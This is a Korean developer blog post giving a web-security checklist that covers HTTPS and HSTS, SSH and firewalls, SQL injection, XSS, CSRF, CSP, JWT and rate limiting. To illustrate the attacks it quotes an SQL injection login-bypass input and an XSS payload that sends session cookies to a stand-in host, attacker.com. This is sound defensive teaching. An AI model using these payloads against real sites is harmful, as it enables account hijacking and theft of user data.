웹 개발 시 꼭 챙겨야 할 보안 체크 리스트

2025. 1. 7. 11:32·CS

웹 개발을 진행할 때 보안은 필수적으로 고려해야 할 요소입니다. 보안을 소홀히 여기면 사용자 데이터 유출, 서비스 중단 등의 심각한 문제가 발생할 수 있습니다.

이번 글에서는 웹 개발에서 자주 발생하는 보안 문제와 이를 예방하기 위한 방법을 정리해보고자 합니다.

 

1. 네트워크 보안

HTTPS 적용

HTTPS = HTTP 통신을 SSL/TLS 프로토콜을 사용해 암호화
  • HTTP 메시지 = 일반 텍스트 ex) 사용자가 로그인할 때 입력한 아이디와 비밀번호가 평문으로 전송되어 해커가 쉽게 탈취할 수 있음
    : 권한이 없는 당사자가 인터넷을 통해 쉽게 액세스 하고 읽을 수 있음
  • HTTPS = 모든 데이터를 암호화된 형태로 전송
    : 사용자가 민감한 데이터를 제출할 때, 제 3자가 네트워크를 통해 데이터를 가로채더라도 해독할 수 없도록 보호함

설정 과정

1. SSL/TLS 인증서 발급받기
2. 서버에 인증서 설치

3. HTTPS 포트(443)와 리다이렉트 설정
4. 테스트

 

1. SSL/TLS 인증서 준비

  • HTTPS를 사용하기 위해서는 SSL/TLS 인증서 필요
  • 인증서 - 무료와 유료 옵션 존재 ex) 무료 (Let's Encrypt, ..), 유료 (GlobalSign, DigiCert, ..)
  • 웹 호스팅 서비스 대부분은 인증서를 제공하거나 설치 지원

2. SSL/TLS 인증서 설치

  • 인증서 구매/발급 이후 서버에 설치
  • 웹 서버 종류에 따라 설치 방법이 다름
    • Apache : httpd.conf 파일에 인증서 경로 설정
    • Nginx : nginx.conf 파일에서 인증서 경로 추가
  • 만약 웹 호스팅 서비스를 이용 중이라면, 관리 콘솔에서 간단히 설치 가능

3. 서버 설정 변경

HTTPS를 제대로 작동시키기 위해서는 서버 설정 변경 필요

  • 포트 변경 : HTTPS는 포트 번호 443 사용
  • 리다이렉트 설정 : HTTP 요청을 HTTPS로 자동으로 전환시키기 위해 301 리다이렉트 설정

4. HTTPS 테스트

설정 이후, 브라우저에서 웹사이트를 열어 HTTPS 연결이 잘 이루어지는지 확인

  • 주소창에 자물쇠 아이콘이 표시되면 성공
  • 문제가 있다면 SSL 인증서 유효성, 포트 설정 등을 다시 확인

5. HSTS 활성화 (선택 사항)

  • HSTS(HTTP Strict Transport Security)를 활성화하면 브라우저가 항상 HTTPS 사용을 강제함
  • 클라이언트와 호스트 웹서버 연결의 보안을 위해 ssl연결을 처음부터 강제하는 것이 안전
  • ex) Nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

add_header Strict–Transport–Security

: STS에 대한 헤더 추가

max-age=31536000

: 클라이언트의 브라우저에서 해당 설정을 얼마나 보관할지 설정하는 기간으로 단위는 초 단위 | 예시 = 1년

includeSubdomains

: 모든 서브도메인에도 적용

preload

: 사이트를 HSTS preload list에 등록하여 브라우저가 HTTPS 연결을 강제하도록 설정

 

  • ex) Apache
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"

 

6. HTTPS 리소스 확인

  • 모든 리소스(이미지, JS, CSS 등)가 HTTPS로 로드되는지 확인
  • HTTP 리소스가 남아있으면 "Mixed Content" 오류 발생

2. 서버 및 인프라 보안

방화벽 및 접근 제어

  • 서버에 방화벽을 설정해 특정 IP만 접근 허용
  • SSH를 통해 서버에 접속할 때 비밀번호 인증 대신 SSH 키 인증 사용
    SSH (Secure Shell) : 원격 호스트에 접속하기 위해 사용되는 보안 프로토콜

해결 방법

  • 방화벽에서 22번 포트를 닫고, SSH 접근은 5000번 같은 다른 포트로 변경
sudo ufw allow 5000
sudo ufw enable

3. 웹 애플리케이션 보안

웹 애플리케이션 공격 방법 2가지
1. 공격자가 직접 웹 애플리케이션에 액세스해서 공격 코드를 보내는 타입의 공격 ex) SQL 인젝션
2. 함정을 이용해서 유저에게 공격 코드를 실행시키는 공격 ex) XSS, CSRF

1) SQL 인젝션 방지

문제 상황

해커가 악의적인 SQL 문을 입력해 데이터베이스 조작 가능

username: admin' --  
password: (아무거나 입력)

 

사용자가 위와 같은 입력값 제공 & 애플리케이션은 아래와 같은 SQL 문을 실행한다고 가정

SELECT * FROM users WHERE username = 'admin' --' AND password = 'password';

여기서 --는 SQL에서 주석 처리를 의미, 뒤에 있는 AND password = 'password' 부분 무시
즉, 해커는 비밀번호를 몰라도 username = 'admin'만으로 로그인 가능

 

해결 방법

  • 사용자 입력값은 반드시 Prepared Statement를 사용하여 처리 | 아래는 Spring Data JPA 예시
@Query("SELECT u FROM User u WHERE u.username = :username AND u.password = :password") User findByUsernameAndPassword(@Param("username") String username, @Param("password") String password);
  • @Param으로 사용자 입력값을 안전하게 바인딩해 SQL 인젝션 방지
    -> Prepared Statement는 입력값을 코드가 아닌 데이터로 처리하므로 악성 SQL 실행 차단 역할
  • 아래는 Spring Data JPA의 findBy 메서드 제공 예시
Optional<User> findByUsernameAndPassword(String username, String password);
  • JPA 메서드 네이밍 규칙에 따라 작성 시 내부적으로 Prepared Statement 적용

(추가 내용) ORM (Object-Relational Mapping) 은 데이터베이스 쿼리를 자동으로 생성하고 Prepared Statement를 활용하여 입력값을 안전하게 처리 ex)  Hibernate, Django ORM, SQLAlchemy.


2) XSS(Cross-Site Scripting) 방지

ex) 사용자가 악성 코드를 댓글에 입력하면, 해당 댓글을 본 다른 사용자의 세션 정보가 탈취될 수 있음

문제 상황

사용자가 악의적인 JavaScript 코드를 입력해 다른 사용자의 브라우저에서 실행될 수 있음

<script>alert('해킹!');</script>

공격자가 웹사이트의 댓글란에 다음과 같은 코드를 입력 -> 댓글을 읽는 모든 사용자의 브라우저에서 팝업 실행

아래와 같은 경우, 공격자는 사용자 세션 쿠키를 탈취하여 계정 탈취 가능

<script> fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>

해결 방법

  • 모든 사용자 입력을 HTML 이스케이프 처리 : <는 &lt;로, >는 &gt;로 변환되어 브라우저가 이를 코드로 인식하지 않고 텍스트로만 표시
&lt;script&gt;alert('해킹!');&lt;/script&gt;
  • DOMPurify와 같은 라이브러리 사용 : 입력 데이터를 안전하게 정화(sanitize)하는 라이브러리를 활용하여 악성 스크립트를 제거
const cleanInput = DOMPurify.sanitize(userInput);
  • CSP(Content Security Policy) 적용 : 브라우저가 허용된 출처(origin)에서만 스크립트를 로드하도록 제한하며, 스크립트 삽입 공격(XSS)을 방지
Content-Security-Policy: script-src 'self';

→ script-src 'self' : 자신이 소유한 도메인에서 제공된 스크립트만 허용


3) CSRF 방지

CSRF 공격은 사용자가 악성 스크립트를 서버에 요청하는 형식 ex) 데이터베이스 수정, 삭제, 등록, 송금 등

 

문제 상황

사용자의 세션을 악용해 공격자가 의도하지 않은 요청을 보낼 수 있음

해결 방법

  • CSRF 토큰을 생성하여 요청마다 검증
<input type="hidden" name="csrf_token" value="secure_token_value">

 


4. 데이터 보호

1) 비밀번호 해싱

문제 상황

  • 비밀번호를 평문으로 저장하면 데이터베이스가 유출될 경우 심각한 문제 발생

해결 방법

  • 비밀번호는 반드시 해싱(암호화)하여 저장

5. 프론트엔드 보안

1) Content Security Policy(CSP)

쉽게 말해 XSS를 막는 역할 여기서 XSS는, 스크립트 코드를 웹사이트 내에 삽입시켜 개발자가 설정하지 않은 기능이 작동되게 하는 공격
CSP는 웹사이트에 로드되는 스크립트, 이미지, 스타일 시트 등 자원들이 어디에서 로드될지 명확하게 지정할 수 있는 보안 규칙
이를 통해 외부 사이트에서 불법적으로 자원을 로드하거나, 악성 스크립트가 실행되는 것 방지 가능

 

문제 상황

  • 악성 스크립트를 실행시키는 XSS 공격을 막기 위해 CSP를 설정

적용 방법

Content-Security-Policy: default-src 'self'; script-src 'self' <https://apis.example.com>;
  • 이 설정은 외부 스크립트를 특정 출처에서만 허용
  • CSP = 웹사이트에 "누가 내 집에 들어올 수 있는지"를 설정하는 것
    만약 우리 집에 사람을 들여보내려면, 그 사람은 초대된 사람이어야만 함.
    'self' = 내 집(즉, 내 사이트)만 허용하는 것
    'https://apis.example.com' = 미리 초대한 사람들(외부 출처)만 허용하는 것
    => 악의적인 방문객은 집에 들어올 수 없음 !!

6. API 보안

1) 인증

문제 상황

  • 인증이 없는 API는 누구나 접근할 수 있어 보안 문제가 생길 수 있음

해결 방법

  • JWT(JSON Web Token)를 사용해 API 요청을 인증
Authorization: Bearer <JWT_TOKEN>

 

 

2) Rate Limiting

  • API 호출 횟수를 제한해 DDoS 공격 방지

적용 예시 : Node.js (Express.js) 백엔드에서 사용되는 코드

const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
    windowMs: 15 * 60 * 1000, // 15분
    max: 100, // IP당 최대 100 요청
});
app.use(limiter);

 

 

  • 주로 백엔드에서 API 호출 횟수 제한을 위해 사용
  • 여러 언어 및 프레임워크에서 구현 가능
    ex) JavaScript(Node.js), Python, Java, Ruby, Go 등 

 


7. 로그와 모니터링

1) 로그 기록

  • 로그인 실패, 비정상적인 요청 등 보안 관련 이벤트 기록
  • ex) 사용자의 IP, 요청 URL, 시간 기록

2) 모니터링 도구

  • ELK Stack, Grafana 등을 활용해 서버와 애플리케이션 상태를 실시간으로 확인

8. 테스트와 감사

1) 취약점 스캐닝

  • OWASP ZAP이나 Burp Suite로 웹 애플리케이션의 보안 취약점을 자동으로 스캔

2) 보안 감사

  • 정기적으로 코드 리뷰와 보안 테스트 수행

이번 글에서 작성된 체크리스트를 확인해 보며 사용자 데이터를 보호하고 애플리케이션의 신뢰도를 높일 수 있습니다 !

보안은 초기 설계부터 고려해야 하며, 운영 중에도 지속적으로 관리해야 하는 중요한 사항입니다.

'CS' 카테고리의 다른 글

캐시와 참조 지역성으로 웹 성능을 높이는 방법  (1) 2025.01.22
개발자가 컴퓨터 구조를 알아야 하는 이유  (0) 2025.01.13
혼자 공부하는 네트워크 CH5. 응용 계층  (2) 2024.12.19
혼자 공부하는 네트워크 CH4. 전송 계층  (1) 2024.12.17
혼자 공부하는 네트워크 CH3. 네트워크 계층  (1) 2024.12.12
'CS' 카테고리의 다른 글
  • 캐시와 참조 지역성으로 웹 성능을 높이는 방법
  • 개발자가 컴퓨터 구조를 알아야 하는 이유
  • 혼자 공부하는 네트워크 CH5. 응용 계층
  • 혼자 공부하는 네트워크 CH4. 전송 계층
uoaheu
uoaheu
uoaheu 님의 블로그 입니다.
  • uoaheu
    uoaheu 님의 블로그
    uoaheu
  • 전체
    오늘
    어제
    • 분류 전체보기 (50)
      • 알고리즘 (7)
      • CS (9)
      • FRONTEND (9)
        • React (12)
        • Kotlin (1)
        • JS (5)
        • HTML (2)
      • SQL (2)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    토스분석
    혼자서 공부하는 네트워크
    멀티캠퍼스it부트캠프
    엘지유플러스유레카프론트엔드
    mysql로 피벗테이블만들기
    useactionstate
    백준1926번
    유레카3기
    알고리즘
    토스 앱 분석
    toss uiux
    mysql
    리액트usestate
    toss 분석
    부트캠프후기
    boj25418
    토스 uiux
    mysql 피벗테이블
    이더넷프레임
    BFS
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
uoaheu
웹 개발 시 꼭 챙겨야 할 보안 체크 리스트
상단으로

티스토리툴바